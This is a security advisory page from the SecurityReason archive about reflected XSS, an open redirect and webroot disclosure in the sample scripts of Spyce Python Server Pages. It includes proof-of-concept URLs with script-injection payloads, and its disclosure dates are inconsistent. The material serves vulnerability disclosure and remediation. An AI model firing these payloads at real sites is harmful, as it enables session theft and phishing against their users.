Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : Several XSS, a cross-domain redirect and a webroot disclosure on Spyce - Python Server Pages (PSP)
  SecurityAlert : 3699
  CVE : CVE-2008-0980
  CVE : CVE-2008-0981
  CVE : CVE-2008-0982
  SecurityRisk : Low  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Exploit Given : Yes
  Credit : Richard Brain, Jan Fry, and Bruno Kovacs
  Published : 26.02.2008

  Affected Software : Spyce - Python Server Pages (PSP)



  Advisory Text :  

PR08-01: Several XSS, a cross-domain redirect and a webroot disclosure
on Spyce - Python Server Pages (PSP)

Vulnerability found: 19th December 2007

Vendor informed: 14th January 2007

Vulnerability fixed: the vendor did not respond, however a workaround
has been included in the "Fix" section of this advisory.

Severity: Medium

Description:

All Spyce sample scripts that return client-supplied input back to the
browser are vulnerable to XSS. It is also possible to redirect users to

third-party sites and obtain the webroot path by not submitting required

parameters to certain scripts.

Note: tested on Spyce - Python Server Pages version 2.1.3

The following are only some examples that demonstrate XSS:

http://domain.foo/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%

20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal
http://domain.foo/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('C

an%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%

20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%

20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cr

oss%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&

myradio=radio_option1&mytext=some&mytextarea=</textarea><SCRIPT>alert('C

an%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ea

lert(1)%3C/script%3E

Other vulnerable scripts and unsanitized parameters:

Script: /demos/chat/
parameter: newline

Script: /docs/examples/formintro.spy
parameter: text1

Script: /docs/examples/formtag.spy
parameter: mytext
parameter: mydate

Script: /docs/examples/redirect.spy
parameter: type

Note: some XSS can only be exploited via POST requests (as opposed to
GET). This could be done by using an embedded HTML form with
"method='POST'" attribute and a JavaScript snippet that causes the form

to auto-submits itself. Such form would be located on a third-party
site.

Cross-domain redirect PoC:

http://domain.foo/spyce/examples/redirect.spy?url=www.procheckup.com&typ

e=external

Requesting the following URL returns the server's webroot:

http://domain.foo/spyce/examples/automaton.spy

Consequences:

An attacker may be able to cause execution of malicious scripting code
in the browser of a user who clicks on a link to a Spyce-based site.
Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the
target site, or the redirection of confidential information (i.e.:
session IDs) to unauthorised third parties.

Attackers can redirect victim users to third-party sites. Such behaviour

can help attackers perform phishing attacks by redirecting the victim to

a spoof login page.

Fix:

Remove sample scripts from live environments.

References:

http://www.procheckup.com/Vulnerabilities.php
http://spyce.sourceforge.net/

Credits: Richard Brain, Jan Fry, and Bruno Kovacs of ProCheckUp Ltd
(www.procheckup.com)

Legal:

Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and

only if, the Bulletin is not edited or changed in any way, is attributed

to Procheckup, and provided such reproduction and/or distribution is
performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not
liable for any misuse of this information by any third party.





  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

Apache rss

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

» Apache-SSL memory
   disclosure

» Apache mod_negotiation
   Xss and Http Response
   Splitting

PHP rss

» PHP 5.2.6 chdir(),ftok()
   (standard ext) safe_mode
   bypass

» PHP 5.2.6 posix_access()
   (posix ext) safe_mode
   bypass

» PHP 5.2.5 and prior :
   *printf() functions
   Integer Overflow

» PHP 5.2.5 cURL safe_mode
   bypass

Copyright © SecurityReason. All Rights Reserved.